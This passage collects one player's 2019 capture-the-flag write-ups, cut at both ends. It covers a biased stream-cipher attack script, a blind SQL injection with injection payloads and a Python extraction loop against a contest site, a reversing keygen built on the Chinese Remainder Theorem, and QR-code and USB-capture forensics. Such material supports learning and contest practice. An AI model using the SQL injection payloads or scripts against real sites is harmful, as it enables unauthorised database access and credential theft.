rec(0, 0, b"")
```

It takes only a few seconds for the flag to show up:

```
[...]
b'Yes, you did it! flag-742CF8ED6A2BF55807C.5ADta'
b'Yes, you did it! flag-742CF8ED6A2BF55807B0194T!'
b'Yes, you did it! flag-742CF8ED6A2BF55807B0194T '
b'Yes, you did it! flag-742CF8ED6A2BF55807B14719\n'
b'Yes, you did it! flag-742CF8ED6A2BF55807B135-Az'
b'Yes, you did it! flag-742CF8ED6A3DJ-EWq2u3pvcxF'
[...]
```

### Conclusion

Go Cipher was pretty fun and simple, and I really enjoy those kinds of crypto tasks. This is also the first time I'm writing up for my new team *SHRECS*! We ended up 37th on the Square CTF 2019, which is nice but I wish we could have scored more, if we were less busy.

Enjoy!


# Byte Bandits CTF 2019

12-13 April. I participated alone and finished 7th.


# babycrypto

Crypto, 300 points.

## Description

*Start with this one!* `nc 13.233.66.116 5000`

```python
#!/usr/bin/python3 -u
import os
from binascii import hexlify, unhexlify

flag = open("./flag","rb").read()

class bb(object):
  def __init__(self, key):
    self.meh = [x for x in range(256)]
    j = 0
    for i in range(256):
      j = (j + self.meh[i] + key[i%len(key)])&0xff
      self.meh[i], self.meh[j] = self.meh[j], self.meh[i]
    self.cat = 0
    self.mouse = 0

  def crypt(self, string):
    out = []
    for c in string:
      self.cat = (self.cat+1)&0xff
      self.mouse = (self.cat+self.meh[self.cat])&0xff
      self.meh[self.cat], self.meh[self.mouse] = self.meh[self.mouse], self.meh[self.cat]
      k = self.meh[ (self.meh[self.cat]+self.meh[self.mouse])&0xff ]//2
      out.append((c+k)&0xff)
    return bytearray(out)


cipher = bb(os.urandom(32))

while True:
  print("Commands: \n(e)ncrypt msg or (p)rint flag")
  choice = input()

  if choice == 'e':
    message = input()
    print(hexlify(cipher.crypt(unhexlify(message))))
  elif choice == 'p':
    print(hexlify(cipher.crypt(flag)))
  else:
    print("meh!")
```

## Solution

So I'm not sure about this task's title and description since only 4 teams managed to solve it, and I'm also not sure why there were only 4 solves since it was pretty simple.

We are given a service which runs the given Python script. We are able to encrypt messages and print an encrypted version of the flag:

```
Commands:
(e)ncrypt msg or (p)rint flag
e
61626364
b'dba4abb9'
Commands:
(e)ncrypt msg or (p)rint flag
p
b'73bf75c1d4a8ac5fd1cc9bd9388290906dadc7388298789b97879291598bd3d58582c8787c89c1d6af882b'
```

It looks like the service initializes some kind of cryptographic stream with a random 32-byte key.

The algorithm looks a lot like RC4, except for two (not so) small details: addition is used instead of XOR, and the keystream byte is divided by 2 before being used.

Knowing about RC4 was not needed to solve this challenge, you just have to understand that the random key is used to produce a pseudo-random infinite stream of bytes that is used to encrypt plaintexts, here using addition modulo 256 instead of XOR.

Asking for the flag twice will encrypt it twice, but the keystream will be at a different position so the output is different.

```
Commands:
(e)ncrypt msg or (p)rint flag
p
b'ba9acd8cfab0c47b8ebaf4af6dc450656ba8798f7cadd6c47acebaae9789c3b777d2bd8f697bcff2add369'
Commands:
(e)ncrypt msg or (p)rint flag
p
b'6c767a8cb94c9848957dc282a6c75aa2cc8fdf9b9cb2f1788c698ca8b08b6dc24da1d87b5371a0a7ea9e3f'
```

Obviously, the weakness lies in the division by 2 of k in the crypt method. What this means is that k can only take values in 0, ..., 127 before it is added to our plaintext byte.

Since we know the flag will be a readable ASCII string, this reduces the amount of possibilities for a plaintext character. For instance, if we consider this encrypted version of the flag:

```
ba9acd8cfab0c47b8ebaf4af6dc450656ba8798f7cadd6c47acebaae9789c3b777d2bd8f697bcff2add369
```

...it starts with 0xBA, and if we note p\[0] the first character of the flag, we have `p[0] + k = 0xBA`.

As k can only take values between 0 and 127, we know p\[0] can only take values between 0x3B and 0xBA, and since we assume it is readable ASCII, we know p\[0] is somewhere between 0x3B and 0x7F.

Now we can do this for every byte of the plaintext but there's still too many possibilities... We cannot retrieve the flag like that.

Of course, the idea was to exploit the fact that we can encrypt the flag several times. For each byte, the higher its encrypted value is, the smallest the space of possibilities for the associated plaintext character is.

Therefore, each time we ask for a new encrypted flag, there is a probability that we're reducing the number of flag candidates. If we're asking for enough encrypted flags, we can thus reconstruct it with a high probability.

Here's the exploit:

```python
from binascii import unhexlify as unhex
import socket

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(('13.233.66.116', 5000))
s.recv(4096)

L = []
charset = b'{}ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_'

count = 0
while True:
    s.send(b'p\n')
    res = s.recv(4096)
    try:
        res = unhex(res.split(b'\n')[0].split(b"'")[1])
    except:
        continue
    L.append(res)

    plaintext = b''
    for i in range(43):
        for o in charset:
            good = True
            for k in range(len(L)):
                q = (L[k][i] - o) & 255
                if q >= 128:
                    good = False
                    break
            if good:
                plaintext += bytes([o])
                break

    print(count, plaintext)
    count += 1
```

The flag is retrieved in about 400 requests:

```
0 b'{{{{{{A{{{{{0{A{A{{{{{{{{A{{0{{{{{A{AA{{{{A'
1 b'{{{{{AA0{{{{0{A{H{{A{A{{{G{{0{{{A{A{AA{{{{0'
2 b'{{{A{AA0{{{{0{A{H{{A{A{{{G{{0{{{0{AAAA{{{{0'
3 b'{{{a{AA0{{{a0{A{M{VA{A{{{Z{{0{{I0{SAAA{{{{0'
4 b'{{{a{AA0{{{a0{A{M{VA{A{{{Z{{0{{I0{SAAA{{{{0'
5 b'd{Za{0A0{{{a0{A{M{VA{A{{aZ{{0{{I0{SYAA{{{{0'
6 b'd{Za{0A0{{{a0{A{M{VA{AnJaZ{{0{AI0{SYAA{{{{0'
7 b'dAZa{0W0{Q{a0{A{M{VA{AnJaZ{{0{TU0{SYAA{{{{'
8 b'eDZa{0W0{Q{a0{0{M{V0{AnJaZ{{0{TU0{aYAA{{{{'
9 b'eDZa{0W0{Q{c0{0{M{V0{AnJaZ{{0{TU0baYAA{{{{'
10 b'eDZa{0b0YQ{c0{0{M{V0{AnJaZ{{0{Xa0baY0A{{{{'
11 b'eDZa{0b0YQ{c2{0{M{V0{AqJaZ{{0{Xa0baY0A{{{{'

[...]

130 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
131 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
132 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
133 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
134 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
135 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
136 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
137 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
138 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'
139 b'flaf{3r2_dyn3l1c_pb0x0s_a_sh0nga0f_a14utx}'

[...]

444 b'flag{4r3_dyn4m1c_sb0x3s_a_th0ng_0f_b34uty}'
445 b'flag{4r3_dyn4m1c_sb0x3s_a_th0ng_0f_b34uty}'
446 b'flag{4r3_dyn4m1c_sb0x3s_a_th1ng_0f_b34uty}'
```

Enjoy!


# Securinets Prequals 2019

23-24 March. I participated with the team ViaRézo and we finished 24th.


# Beginner's Luck

Web, 989 points.

## Description

*Can you help me to win the flag ? I bet you can't ..*

We were given a website along with its sourcecode (PHP).

## Solution

The site greets us with a page in which we can click on a "Generate" button. Everytime we click on it, a random token is generated, and the site says "Better luck next time!". We are given 10 attempts ; after those, the site says "Max Attempts Reached" and our session is reset.

![](/files/-LdJdgrMnZVjct6KcL8F)

Taking a look at the source, here is what we can read.

```markup
<form id="form" method="POST" action="" >

<input name="val" type="hidden" id="val">

</form>
<script type="text/javascript">

function generate_random_string(string_length){
    let random_string = '';
    let random_ascii;
    for(let i = 0; i < string_length; i++) {
        random_ascii = Math.floor((Math.random() * 25) + 97);
        random_string += String.fromCharCode(random_ascii)
    }
    return random_string
}

function generate()
{
    const input=document.getElementById("val");
    input.value=generate_random_string(100);
    document.getElementById("form").submit();
}
</script>
<div class="buttonHolder">
<input type="button" name="b1" value="Generate" onclick="generate()">
</div>
```

Every time we click on the button, our client generates the random 100-character token, and then sends it via POST. Our goal is to find the correct token.

Let's take a look at the source files we are given : [index.php](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Securinets_Prequals_2019/Beginners_Luck/index.php), [play.php](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Securinets_Prequals_2019/Beginners_Luck/play.php) and [reset.php](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Securinets_Prequals_2019/Beginners_Luck/reset.php).

When we first connect to [index.php](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Securinets_Prequals_2019/Beginners_Luck/index.php), our session is initialized and a random 100-character token is created for our session. We are not given the details of the generator function, though, but since they make our client generate random tokens on lowercase letters, we can infer the session token is the same. Right?

```php
if (!isset($_SESSION['count']))
{
    $_SESSION['count'] = 0;
    $pass = generateRandomToken(100);
    $ip = $_SERVER['REMOTE_ADDR'];
    $sql = "INSERT INTO users (ip, token) VALUES (?,?)";
    $stmt = $pdo->prepare($sql);
    $stmt->execute([$ip, $pass]);
}
```

A table `users` stores (ip, token) couples. Then in [play.php](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Securinets_Prequals_2019/Beginners_Luck/play.php), when we send a token via POST :

```php
if (isset($_POST["val"]))
    {
    if ($_SESSION['count'] >= $max_count)
        {
        header("Location:reset.php");
        die();
        }

    $_SESSION['count']++;
    try
        {
        $sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
        $result = $conn->query($sql);
        if ($result)
            {
            $row = $result->fetch_assoc();
            }
          else
            {
            $row = false;
            }
        }

    catch(PDOException $e)
        {

        // echo $e;

        }

    if ($row)
        {
        echo "<h1>True</h1>";
        echo "<div><h4>Click <a href='flag.php'>here</a> and use the token to get your flag</h4></div>";
        }
      else
        {
        echo "<h4>Better luck next time !</h4>";
        }

    $currentValue = $_POST['val'];
    }
```

An SQL query checks if there exists an entry for our (ip, token). If there is, we are invited to input our token in a page called flag.php (which is not present in the sources), so that we can claim our flag.

The following line is prone to a very obvious SQL injection.

```php
$sql = "SELECT * FROM users WHERE ip='" . $_SERVER['REMOTE_ADDR'] . "' AND token='" . $_POST['val'] . "'";
```

We don't know the exact output of the SQL request, so we cannot run a "UNION" type of SQL injection, but we do know whether it returns something or not. Indeed, when there exists such a couple (ip, token), the database returns at least a row and the site displays "True", "Click here and use the token to get your flag". Otherwise, it displays "Better luck next time". We can use this information to run a blind SQL injection.

Let's check by sending a pretty basic injection first in `$_POST['val']` :

```
' OR '1'='1
```

The site returns "True". It worked! Let's try to run another injection :

```
' OR (ip='our ip' AND length(token)=100) AND '1'='1
```

It works too: the token is 100 characters long. Good. Now we're able to write a small script that will brute-force each character individually thanks to the SUBSTRING function of MySQL.

There's an issue, though. Our session is reset and destroyed after 10 requests. We can't find a 100-character token with only 10 binary requests...

Our solution was to use two different IPs with a teammate. One person would be running the injection, but looking for the token associated to the other person's IP. Making sure that other person kept their session alive, they could then submit the token without increasing the number of attempts at all.

Our payload looks like this :

```
' OR (ip='teammate IP' AND substring(token,[i],1)='[c]') AND '1'='1
```

Where i is between 1 and 100, and c in the lowercase letters charset. Except it was not the case. We ran the injection once and found many characters in the token that were actually not letters. We then ran the injection again with lowercase letters + digits, and it worked. Those bastards had fooled us with that javascript generator! :D

Here is the exploit in Python.

```python
import requests

url = "https://web4.ctfsecurinets.com/play.php"

injection = "' OR (ip='teammate IP' AND substring(token,%s,1)='%s') AND '1'='1"
token = ''

for i in range(1, 101):
  for b in 'abcdefghijklmnopqrstuvwxyz0123456789':
    # Resetting the session and requesting a new one, just in case.
    # The exploit would have been faster by removing this.
    requests.get(url.replace('play', 'reset'))
    s = requests.session()
    s.get(url.replace('play', 'index'))
    c = s.post(url, data={'val': injection % (i, b)}).content
    if b'>True<' in c:
      token += b
      print(i, token)
      break
```

And we get our friend's token, for instance, `qx9tiuvxniog4qfkulftatkvysgiosw4qwppqcevks1f98hujnejxp6w8dvnvsjdfytw0xicha9h9g1it7simo4lrryea99gys2q`.

Input it in flag.php and get the flag. Enjoy!

Note: the exploit could have been much faster if we tested bits in the token instead of looping through a charset. Since there are 36 characters, which is approximately 5 bits, we could have been able to retrieve a character using only 6 requests instead of 36 worst case scenario. The payload would have been more complicated though, running some conversions and stuff.


# STEM CTF 2019

This CTF took place from 22/02 to 23/02.

I participated under the team ViaRézo and we finished 23rd global.


# QvR Code

Forensic, 150 points

## Description

*This is now a STEAM focused competition. Check out our new patented Quade van Ravesteyn (QvR) code. QvR beats similar codes by marginally increasing storage capacity. And it’s prettier to look at. Each encoding is like its own masterpiece.*

## File

![](/files/-LdJdgsZMU0XV_RuZ0Wa)

## Solution

The image gives strong QR code vibes, and the title of the task cannot lie. The only thing is that plenty of colors are used here, instead of the usual black and white.

**Quade van Ravesteyn** was a Dutch painter so we initially thought of Piet Mondrian, another Dutch painter who inspired the **Piet** programming language, which is written using colorful images that oddly look like the one we are given (look it up). The number of colors used didn't match though, so we quickly abandoned the idea of Piet hidden inside a QR code.

Our next idea was to simply to try and transform this image into black and white, and hope it reads as a valid QR code.

Luckily enough, if we put away `#000000` and `#ffffff`, only 6 different colors are used in the image, which allows to bruteforce 64 possibilities of black and white images associated to it. Check [QvR.py](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/STEM_CTF/QvR_Code/QvR.py) for the code.

After generating the 64 images, I estimated that figuring out a way to automatize the QR code decryption would take more time than doing it myself by hand (thanks zxing decoder).

It turns out that 3 of the 64 possibilities read as valid QR codes, which is actually not surprising because it is the maximum amount of distinct black and white images one could extract from an image that uses six different colors.

Here are the 3 valid images:

![](/files/-LdJdgscRTIgCSESenBy) ![](/files/-LdJdgseBcY0E7q_T6iy) ![](/files/-LdJdgsg4e5LyM_5rQhu)

And their plaintext:

* `We wanted to incorporate Science Technology Engineering Art and Mathematics (STEAM). Enclose with MCA{} for final flag. So we needed to cover each letter. Let's start with S. Science: Science is the intellectual and practical activity encompassing the systematic study of the structure and behavior of the physical and natural world through observation and experiment. We incorporated science by allowing competitors to explore scientific concepts about the world such as color theory. Competitors also have to experiment to get the correct answer through observation.`
* `Now we are going to explore T. Technology: Competitors need to use the Internet to compete. What an amazing Technology. The internet was invented by Al Gore. Anyway, technology enables the encoding of the data, decoding of the data, and critical error correction algorithms present in the code. Prepend salt_ and append _pepper to flag. The next letter is E. Engineering: Competitors need to reverse-engineer a solution to decode the QvR code because the specification isn't published. As a discipline, engineering incorporates science and technology.`
* `And now it's A. Flag is impossible_color_theory Art: Art art art art art art art art. <- art. It can be anything. But specifically it's Dirck de Quade van Ravesteyn. This is the namesake artist of the QvR code. This artist was chosen because his name is similar to existing barcodes. Art also makes an appearance because of the RYB color theory. de Quade would have used this color theory in his works as he predated Newton, an organism who discovered that cyan, yellow, and magenta provide the largest color gamut. Finally, M: Mathematics: BORING!`

Enjoy!


# REbase

Binary RE, 400 points

## Description

*You receive an ELF binary which you must unlock with a key. Find the key and it will contain your flag.*

## Solution

So I read writeups about solving the challenge the "correct" way and I wanted to share my own solution which does not require any reverse engineering.

We are given a 64-bit ELF [rebase](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/STEM_CTF/REbase/rebase/README.md). Let's see what's up with it:

```
╭─face0xff@aniesu-chan ~/stemctf  
╰─$ ./rebase
Usage: ./REbase flag
╭─face0xff@aniesu-chan ~/stemctf  
╰─$ ./rebase zzzzzz
6
tfh5tfh5
ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=
Try Again :(
╭─face0xff@aniesu-chan ~/stemctf  
╰─$ ./rebase MCA{test}
9
ZXFWt2Kse2K8
ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=
Try Again :(
```

So the binary asks for a flag in argument, and outputs

* the length of the flag we provided
* some kind of encrypted version of the flag we provided
* something that is probably the encrypted version of the actual flag.

We can also notice starting our input with `MCA{` makes the first characters of the two ciphers match up. Also, it looks like base64 but

With some groping around, we can find the password without actually reverse engineering the binary. It is just a bit long to do it manually (but still totally doable). I wrote a script to automatize the process ([rebase.py](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/STEM_CTF/REbase/rebase.py)).

I am not entirely sure about my script because the farthest it goes only yields this portion of the flag: `MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33z`. We can easily deduce the true flag from there, though.

```
╭─face0xff@aniesu-chan ~/stemctf  
╰─$ ./rebase MCA{Th15_wUz_EaZy_Pe@Zy_L3m0n_SqU33zy}
38
ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=
ZXFWtmKgDZCyrmC5B+CiVfsyXUCQVfsyZRFzDU4yX2YCD/F5Ih8=
Congratulations!
```

Enjoy!


# Pragyan CTF 2019

This CTF took place from 08/03 to 10/03.

I participated under the team ViaRézo and we finished 16th global.


# Decode This

[Link to the write-up](https://hackmd.io/s/rJlemhMvV)

(sorry, I wanted to include it here but I also wanted to keep the cool LaTeX formulas)


# Save Earth

Forensics, 150 points

## Description

*In the mid 21st century, Ex-NASA pilot Cooper leaves his little daughter and goes an interstellar journey around the space to find an alternative planet (PLAN A) or to capture gravitational data and send it back to earth, which Scientists will use to save Earth. However Cooper finds himself stuck in a tesseract that spans across time, there is only one way he could transmit the data to his little girl.*

*We have obtained parts of what Cooper sent to his daughter, can you find the flag and save the earth?*

*Note: This question does not follow the flag format*

## Solution

We're given a [SaveEarth.pcap](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Pragyan_CTF/Save_Earth/SaveEarth.pcap) file. Let's open it in Wireshark. The file is pretty short:

![](/files/-LdJdgqWpHggvk9p8I1m)

The protocol is USB. What could this be? Mouse inputs? Keyboard inputs? The contents of the first packet (URB\_CONTROL) actually gives some information.

![](/files/-LdJdgqYRwjUGFVgHCEw)

In the CONTROL response data, the bytes 9-10 and 11-12 are supposed to give the vendor ID and the product ID. Here, it is 0x0458 and 0x6001. We can look those up online, for instance [here](http://www.linux-usb.org/usb.ids).

We find out the vendor is **KYE Systems Corp.** and the product is **GF3000F Ethernet Adapter**.

Now what we should need is some kind of format specification related to this product to make sense of the following packets, but I couldn't find any on the Internet.

So I decided to go in pretty randomly. After all, there's so little data and the flag has to be somewhere!

I dumped the contents of the "Leftover Capture Data" of each packet:

```
01:02:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:01:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:04:00:00:00:00:00:00
01:02:00:00:00:00:00:00
01:02:00:00:00:00:00:00
```

Each packet, the second byte is either 01, 02 or 04. Welp, that's three different characters, so I immediately thought of morse code.

Inline: `24241214424144414444214442144422`

The space character cannot be 4, nor can it be 2 because they are sometimes repeated.

Let's try to interpret it as `-.-. - ..-. ... ....- ...- ...--`. This decodes as `CTFS4V3`.

In the end, apart from the fact that this is a reference to the morse code in Interstellar, I'm not sure how to make sense of this task, but we have the flag.

Enjoy!


# Super Secure Vault

Binary, 400 points

## Description

*Open the Vault to get the treasure.*

## Solution

We were given an ELF, [vault](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Pragyan_CTF/Super_Secure_Vault/vault/README.md). Let's try it out:

```
╭─face0xff@aniesu-chan ~/ctf/pragyan/vault  
╰─$ ./vault    
Enter the key: abc
Wrong key.
```

Let's disassemble it and generate some pseudocode using IDA:

```c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // ST0C_4
  unsigned int v4; // ST0C_4
  unsigned int v5; // ST0C_4
  unsigned int v6; // ST0C_4
  __int64 v7; // rsi
  int v9; // [rsp+14h] [rbp-BCh]
  int v10; // [rsp+14h] [rbp-BCh]
  int v11; // [rsp+14h] [rbp-BCh]
  int v12; // [rsp+20h] [rbp-B0h]
  int v13; // [rsp+24h] [rbp-ACh]
  int v14; // [rsp+28h] [rbp-A8h]
  int v15; // [rsp+2Ch] [rbp-A4h]
  int v16; // [rsp+30h] [rbp-A0h]
  int v17; // [rsp+34h] [rbp-9Ch]
  int v18; // [rsp+38h] [rbp-98h]
  int v19; // [rsp+3Ch] [rbp-94h]
  int v20; // [rsp+40h] [rbp-90h]
  int v21; // [rsp+44h] [rbp-8Ch]
  char s; // [rsp+50h] [rbp-80h]
  char v23; // [rsp+90h] [rbp-40h]
  unsigned __int64 v24; // [rsp+C8h] [rbp-8h]

  v24 = __readfsqword(0x28u);
  v12 = 213;
  v13 = 8;
  v14 = 229;
  v15 = 5;
  v16 = 25;
  v17 = 4;
  v18 = 83;
  v19 = 7;
  v20 = 135;
  v21 = 5;
  printf("Enter the key: ", argv, envp);
  __isoc99_scanf("%s", &s);
  if ( strlen(&s) > 0x1E )
    fail(0LL);
  v3 = getNum((__int64)"27644437104591489104652716127", 0, v13);
  if ( (unsigned int)mod(&s, v3) != v12 )
    fail(0LL);
  v9 = v13;
  v4 = getNum((__int64)"27644437104591489104652716127", v13, v15);
  if ( (unsigned int)mod(&s, v4) != v14 )
    fail(0LL);
  v10 = v15 + v9;
  v5 = getNum((__int64)"27644437104591489104652716127", v10, v17);
  if ( (unsigned int)mod(&s, v5) != v16 )
    fail(0LL);
  v11 = v17 + v10;
  v6 = getNum((__int64)"27644437104591489104652716127", v11, v19);
  if ( (unsigned int)mod(&s, v6) != v18 )
    fail(0LL);
  v7 = (unsigned int)getNum((__int64)"27644437104591489104652716127", v19 + v11, v21);
  if ( (unsigned int)mod(&s, v7) != v20 )
    fail(0LL);
  printf("Enter password: ", v7);
  __isoc99_scanf("%s", &v23);
  func2(&v23, &s, "27644437104591489104652716127");
  return 0;
}
```

This is the main function. It basically asks for a key that should not exceed 30 bytes, and then runs several getNum calls on a certain string "27644437104591489104652716127".

```c
__int64 __fastcall getNum(__int64 a1, int a2, int a3)
{
  unsigned int v4; // [rsp+18h] [rbp-8h]
  int i; // [rsp+1Ch] [rbp-4h]

  v4 = 0;
  for ( i = a2; i < a2 + a3; ++i )
    v4 = 10 * v4 + *(char *)(i + a1) - 48;
  return v4;
}
```

getNum(s, i, j) simply seems to take the argument string s and cut it starting from the i-th byte and keeping j bytes. It then converts it into a integer.

Here is the function mod :

```c
__int64 __fastcall mod(const char *a1, int a2)
{
  unsigned int v3; // [rsp+18h] [rbp-18h]
  int i; // [rsp+1Ch] [rbp-14h]

  v3 = 0;
  for ( i = 0; i < strlen(a1); ++i )
    v3 = (signed int)(10 * v3 + a1[i] - 48) % a2;
  return v3;
}
```

It just seems to compute a1 mod a2.

Let's put everything together ; the big number is divided into 5 parts: `27644437, 10459, 1489, 1046527, 16127`, and for each of these, the program calculates our input, which has to be a number less than 30 digits, modulus the part. It then tests if it is equal to a certain hardcoded value. Here are the conditions that need to be reunited:

```
s = 213 mod 27644437
s = 229 mod 10459
s = 25 mod 1489
s = 83 mod 1046527
s = 135 mod 16127
```

So it happens that all these moduli are co-prime, so we can use the Chinese Remainder Theorem to compute s. You can check the full script to see how it is computed.

We find that the lowest solution for s is 3087629750608333480917556.

Once we entered the key, we are asked for a password, and there is a call to func2(password, s, "27644437104591489104652716127").

Here are the contents of func2:

```c
int __fastcall func2(__int64 a1, char *a2, const char *a3)
{
  unsigned __int64 v3; // rax
  int v4; // ST30_4
  int v5; // ST34_4
  int v7; // [rsp+24h] [rbp-3Ch]
  int v8; // [rsp+28h] [rbp-38h]
  int v9; // [rsp+28h] [rbp-38h]
  int v10; // [rsp+2Ch] [rbp-34h]
  int v11; // [rsp+2Ch] [rbp-34h]
  char *v12; // [rsp+40h] [rbp-20h]

  v12 = strcat(a2, a3);
  v3 = (unsigned __int64)&v12[strlen(v12)];
  *(_WORD *)v3 = 12344;
  *(_BYTE *)(v3 + 2) = 0;
  v7 = 0;
  v8 = 0;
  v10 = strlen(v12) >> 1;
  while ( v8 < strlen(v12) >> 1 )
  {
    if ( *(_BYTE *)(v7 + a1) != matrix[100 * (10 * (v12[v8] - 48) + v12[v8 + 1] - 48)
                                     - 48
                                     + 10 * (v12[v10] - 48)
                                     + v12[v10 + 1]] )
      fail(1LL);
    ++v7;
    v8 += 2;
    v10 += 2;
  }
  v9 = 0;
  v11 = strlen(v12) >> 1;
  while ( v9 < strlen(v12) >> 1 )
  {
    v4 = 10 * (v12[v9] - 48) + v12[v9 + 1] - 48;
    v5 = 10 * (v12[v11] - 48) + v12[v11 + 1] - 48;
    if ( *(_BYTE *)(v7 + a1) != matrix[100 * (v4 * v4 % 97) + v5 * v5 % 97] )
      fail(1LL);
    ++v7;
    v9 += 2;
    v11 += 2;
  }
  puts("Your Skills are really great. Flag is:");
  return printf("pctf{%s}\n", a1);
}
```

So basically what this does is, we concat s with 27644437104591489104652716127 and then we append "80" (the 12344 decimal). We obtain a string v3 = "30876297506083334809175562764443710459148910465271612780".

Then some loops will compare each character of our password to a certain value in "matrix". Looking it up on IDA, matrix is a 10000-byte chunk of ascii characters, from which I dumped the contents in [matrix.txt](https://github.com/face0xff/ctf/tree/904b614bba1214cc8a99299c8845627caed497e1/2019/Pragyan_CTF/Super_Secure_Vault/matrix.txt).

The only thing that is left for us to do is to calculate all the indexes that will be read in the matrix to figure out the password. Here's the final keygen:

```python
from functools import reduce
import binascii

def chinese_remainder(n, a):
    s = 0
    prod = reduce(lambda a, b: a*b, n)
    for n_i, a_i in zip(n, a):
        p = prod // n_i
        s += a_i * mul_inv(p, n_i) * p
    return s % prod

def mul_inv(a, b):
    b0 = b
    x0, x1 = 0, 1
    if b == 1: return 1
    while a > 1:
        q = a // b
        a, b = b, a % b
        x0, x1 = x1 - q * x0, x0
    if x1 < 0:
        x1 += b0
    return x1

a = [213, 229, 25, 83, 135]
n = [27644437, 10459, 1489, 1046527, 16127]
N = 27644437104591489104652716127

s = chinese_remainder(n, a)

matrix = open('matrix.txt', 'r').read()
matrix = matrix.replace(' ', '').replace('\r', '').replace('\n', '')
matrix = binascii.unhexlify(matrix)

v12 = str(s) + str(N) + "80"
v12 = list(map(int, list(v12)))

v8 = 0
v10 = len(v12) // 2

password = b""
while v8 < len(v12) // 2:
    q_ = 100*(10*v12[v8]+v12[v8+1])+10*v12[v10]+v12[v10+1]
    password += bytes([matrix[q_]])
    v8 += 2
    v10 += 2

v9 = 0
v11 = len(v12) // 2

while v9 < len(v12) // 2:
    v4 = 10 * v12[v9] + v12[v9 + 1]
    v5 = 10 * v12[v11] + v12[v11 + 1]
    password += bytes([matrix[100*(v4**2%97)+v5**2%97]])
    v9 += 2
    v11 += 2

print(s, password)
```

and its output:

```
╭─face0xff@aniesu-chan ~/ctf/pragyan/vault  
╰─$ python vault.py
3087629750608333480917556 b'R3v3rS1Ng_#s_h311_L0t_Of_Fun'
```

Let's try it out.

```
╭─face0xff@aniesu-chan ~/ctf/pragyan/vault  
╰─$ ./vault
Enter the key: 3087629750608333480917556
Enter password: R3v3rS1Ng_#s_h311_L0t_Of_Fun
Your Skills are really great. Flag is:
pctf{R3v3rS1Ng_#s_h311_L0t_Of_Fun}
```

Enjoy!

Note: actually, there are more than 100000 correct (key, password) couples. Indeed, the solutions to the modular system of equations are all congruent modulo the product of the five integers. I lost a lot of time because I was looking for a 30-digit key instead of simply choosing the lowest solution, which yields a "readable" "flag-looking" password flag.

Some examples of other valid flags...

```
10353650500772965893596379 b'XbGeQsfL#soYFTr$Byze@PIFPiRf'
17619671250937598306275202 b'F$ihT}L(nF$IqTGpajfB{hNgi@wf'
24885692001102230718954025 b'@XvtR)LWe&v(mTeWiT(j!Yhp{gzf'
32151712751266863131632848 b'VPgdRtre{hQXVTyiy*)WQjoEz@Zf'
39417733501431495544311671 b'jayNQrSOeiABITafV_zKQVEoH!hf'
46683754251596127956990494 b'edUeTTxtvxa)MTE^QjfpQWTp{cvf'
```


# CTFZone 2019

I participated with SHRECS and we finished 49th.


# Agents

## Crypto, 110 points

### Description

```
nc crypto-agents.ctfz.one 9543
```

In this challenge, we had to deal with a service in which we could:

* ask for an base64-encoded encrypted message. We were also given a random username. The server tells us we should forward this encrypted message in a second step, and that we don't have to worry about IV and key which are randomly generated and already sent over.
* send a base64-encoded encrypted message. The server asks for our username and decrypts the message, but does not send us its decrypted contents. We can only send an encrypted message once with our generated username.

When we try to send back the encrypted message that the server sends us, we get back something that looks like "Thank you, but you are not trusted".

### Solution

The hint for this challenge was **AES OFB**. The encryption scheme for this mode, *Output Feedback*, is described as follows:

![OFB](/files/-Lv6CNEz2IyVvhBz-uxF)

